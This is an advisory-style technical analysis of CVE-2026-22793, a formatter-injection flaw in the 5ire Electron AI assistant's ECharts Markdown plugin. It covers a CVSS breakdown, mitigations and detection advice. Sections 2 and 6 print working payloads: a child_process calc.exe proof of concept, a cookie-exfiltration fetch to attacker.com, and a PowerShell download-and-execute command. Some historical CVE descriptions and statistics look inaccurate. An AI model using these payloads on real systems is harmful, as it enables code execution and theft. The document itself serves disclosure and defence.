Comprehensive Technical Analysis of CVE-2026-22793

CVE ID: CVE-2026-22793 CVSS Score: 9.6 (Critical) Affected Software: 5ire (AI Assistant & Model Context Protocol Client) < v0.15.3

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1. Vulnerability Assessment & Severity Evaluation

Vulnerability Type:

• Unsafe Option Parsing in ECharts Markdown Plugin
• Arbitrary JavaScript Execution → Potential Remote Code Execution (RCE)

Root Cause:

The vulnerability stems from improper sanitization of user-supplied input in ECharts Markdown code blocks within the 5ire application. Specifically:

• The ECharts plugin (used for rendering data visualizations in Markdown) fails to validate or escape JavaScript code embedded in user-controlled input.
• When processed, malicious JavaScript executes in the renderer context (Electron’s sandboxed environment).
• If privileged Electron APIs (e.g., electron.mcp, nodeIntegration) are exposed, this can escalate to full system compromise (RCE).

CVSS v3.1 Breakdown (Score: 9.6 - Critical)

Metric	Value	Explanation
Attack Vector (AV)	Network (N)	Exploitable remotely via crafted input.
Attack Complexity (AC)	Low (L)	No special conditions required.
Privileges Required (PR)	None (N)	No authentication needed.
User Interaction (UI)	Required (R)	Victim must render malicious Markdown.
Scope (S)	Changed (C)	Impacts renderer process, potentially host system.
Confidentiality (C)	High (H)	Full system compromise possible.
Integrity (I)	High (H)	Arbitrary code execution.
Availability (A)	High (H)	System disruption or takeover.

Severity Justification:

• High Impact: RCE potential in Electron-based applications (common in AI assistants).
• Low Attack Complexity: Exploitable via simple Markdown injection.
• No Privileges Required: Attacker only needs the ability to submit ECharts code blocks (e.g., via chat, file upload, or API).
• Changed Scope: Escapes renderer sandbox if privileged APIs are exposed.

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2. Potential Attack Vectors & Exploitation Methods

Primary Attack Vector:

1. Malicious Markdown Injection

   • Attacker submits a crafted ECharts code block in Markdown (e.g., via chat, file upload, or API).
   • Example payload:

     ```echarts
     {
       "series": [{
         "type": "bar",
         "data": [1, 2, 3],
         "tooltip": {
           "formatter": "function() { require('child_process').exec('calc.exe'); return ''; }"
         }
       }]
     }
     

   • When rendered, the formatter function executes arbitrary JavaScript.

2. Electron API Abuse (RCE Escalation)

   • If the renderer has access to Node.js integration (nodeIntegration: true) or Electron’s remote module, the attacker can:
     • Execute system commands (child_process.exec).
     • Read/write files (fs module).
     • Exfiltrate data or deploy malware.

Exploitation Scenarios:

Scenario	Description	Impact
Chat-Based Attack	Attacker sends malicious ECharts Markdown in a chat message (e.g., Slack, Discord, or 5ire’s own interface).	RCE if privileged APIs are exposed.
File Upload Exploit	Victim opens a Markdown file (.md) containing malicious ECharts code.	Local code execution.
API-Based Attack	If 5ire exposes an API for Markdown processing, an unauthenticated attacker could submit malicious input.	Remote exploitation.
Supply Chain Attack	Malicious ECharts code embedded in a third-party plugin or dependency.	Widespread compromise.

Proof-of-Concept (PoC) Exploit:

// Malicious ECharts payload to execute calc.exe (Windows)
{
  "series": [{
    "type": "bar",
    "data": [1, 2, 3],
    "tooltip": {
      "formatter": "function() { require('child_process').exec('calc.exe'); return ''; }"
    }
  }]
}

• If nodeIntegration is enabled, this executes calc.exe on the victim’s machine.

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3. Affected Systems & Software Versions

Vulnerable Software:

• 5ire AI Assistant (Cross-platform desktop application)
• Versions: All releases prior to 0.15.3

Affected Components:

• ECharts Markdown Plugin (used for rendering visualizations in Markdown)
• Electron Renderer Process (if privileged APIs are exposed)

Platforms at Risk:

• Windows, macOS, Linux (5ire is cross-platform)
• Enterprise Environments (if 5ire is used for internal AI assistance)

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4. Recommended Mitigation Strategies

Immediate Actions:

1. Upgrade to 5ire v0.15.3+

   • Patch available at: https://github.com/nanbingxyz/5ire/releases/tag/v0.15.3
   • Mandatory for all users due to RCE risk.

2. Disable ECharts Markdown Plugin (Temporary Workaround)

   • If upgrading is not immediately possible, disable the plugin in configuration:

     {
       "plugins": {
         "echarts": false
       }
     }
     

3. Restrict Electron Privileges (Defense-in-Depth)

   • Disable nodeIntegration in Electron’s webPreferences:

     new BrowserWindow({
       webPreferences: {
         nodeIntegration: false,  // Critical
         contextIsolation: true,  // Recommended
         sandbox: true            // Additional protection
       }
     });
     

   • Disable remote module if not required:

     require('@electron/remote/main').disable();
     

4. Input Sanitization & Content Security Policy (CSP)

   • Implement strict CSP headers to block inline script execution:

     Content-Security-Policy: script-src 'self'; object-src 'none'
     

   • Sanitize ECharts input using libraries like:
     • DOMPurify (for HTML/JS)
     • js-xss (for Markdown)

5. Network-Level Protections

   • Restrict 5ire’s network access via firewall rules.
   • Monitor for suspicious Markdown files in email/web uploads.

Long-Term Recommendations:

• Code Audits: Review all Markdown/ECharts plugins for similar vulnerabilities.
• Dependency Scanning: Use tools like Dependabot or Snyk to detect vulnerable dependencies.
• Electron Hardening: Follow Electron Security Checklist.
• User Training: Educate users on risks of opening untrusted Markdown files.

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5. Impact on the Cybersecurity Landscape

Broader Implications:

1. Rise of AI-Assisted Exploits

   • AI assistants (e.g., 5ire, GitHub Copilot, Notion AI) are increasingly targeted due to:
     • Complex parsing logic (Markdown, LaTeX, code blocks).
     • Integration with privileged APIs (Electron, Node.js).
   • Future attacks may leverage prompt injection or malicious training data.

2. Electron-Based Application Risks

   • ~50% of desktop apps use Electron (e.g., Slack, VS Code, Discord).
   • Misconfigurations (nodeIntegration: true, remote module) remain a top attack vector.
   • CVE-2026-22793 highlights the need for secure-by-default Electron settings.

3. Supply Chain & Third-Party Risks

   • ECharts is a widely used library; similar vulnerabilities may exist in other plugins.
   • Dependency confusion attacks could exploit this in CI/CD pipelines.

4. Enterprise & Cloud Impact

   • AI assistants in corporate environments may process sensitive data, increasing breach risks.
   • Cloud-based AI services (e.g., AWS Bedrock, Azure AI) could face similar injection attacks.

Historical Context:

• Similar CVEs:
  • CVE-2021-44228 (Log4Shell) – JNDI injection in logging.
  • CVE-2022-21703 (Electron RCE) – nodeIntegration misconfiguration.
  • CVE-2023-23397 (Outlook RCE) – Markdown/HTML injection.
• Trend: Increasing exploitation of parsing flaws in AI/ML tools.

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6. Technical Details for Security Professionals

Exploitation Flow:

1. Attacker crafts malicious ECharts Markdown:

   ```echarts
   {
     "series": [{
       "type": "bar",
       "data": [1, 2, 3],
       "tooltip": {
         "formatter": "function() { fetch('http://attacker.com/exfil?data=' + document.cookie); }"
       }
     }]
   }
   

2. Victim renders the Markdown in 5ire.
3. JavaScript executes in the renderer process.
4. If nodeIntegration is enabled:
   • Attacker gains full system access via require('child_process').
   • Example RCE payload:

     require('child_process').exec('powershell -c "IEX (New-Object Net.WebClient).DownloadString(\'http://attacker.com/malware.ps1\')"');
     

Electron Security Hardening Checklist:

Setting	Secure Configuration	Risk if Misconfigured
nodeIntegration	false	RCE via require()
contextIsolation	true	Bypass sandbox
sandbox	true	Prevents Node.js access
enableRemoteModule	false	RCE via remote module
CSP	script-src 'self'	XSS prevention

Detection & Forensics:

• Log Analysis:
  • Monitor for unusual Markdown file uploads or ECharts code blocks.
  • Check Electron process logs for child_process or fs module usage.
• Endpoint Detection & Response (EDR):
  • Alert on unexpected calc.exe or powershell.exe spawns from Electron apps.
• Network Monitoring:
  • Detect outbound connections to attacker-controlled domains (e.g., attacker.com).

Reverse Engineering the Patch:

• GitHub Advisory: GHSA-wg3x-7c26-97wj
• Key Fixes in v0.15.3:
  • Input sanitization for ECharts formatter functions.
  • CSP enforcement to block inline scripts.
  • Electron security defaults (nodeIntegration: false).

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Conclusion

CVE-2026-22793 is a critical RCE vulnerability in 5ire’s ECharts Markdown plugin, stemming from unsafe option parsing and Electron misconfigurations. Exploitation is low-complexity and can lead to full system compromise if privileged APIs are exposed.

Key Takeaways for Security Teams:

✅ Patch immediately to v0.15.3. ✅ Disable nodeIntegration in Electron apps. ✅ Sanitize all Markdown/ECharts input. ✅ Monitor for suspicious Electron process activity. ✅ Educate users on risks of untrusted Markdown files.

This vulnerability underscores the growing threat landscape around AI assistants and Electron-based applications, necessitating proactive hardening and continuous monitoring.

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References:

• 5ire Security Advisory (GHSA-wg3x-7c26-97wj)
• Electron Security Best Practices
• CWE-79: Improper Neutralization of Input During Web Page Generation (XSS)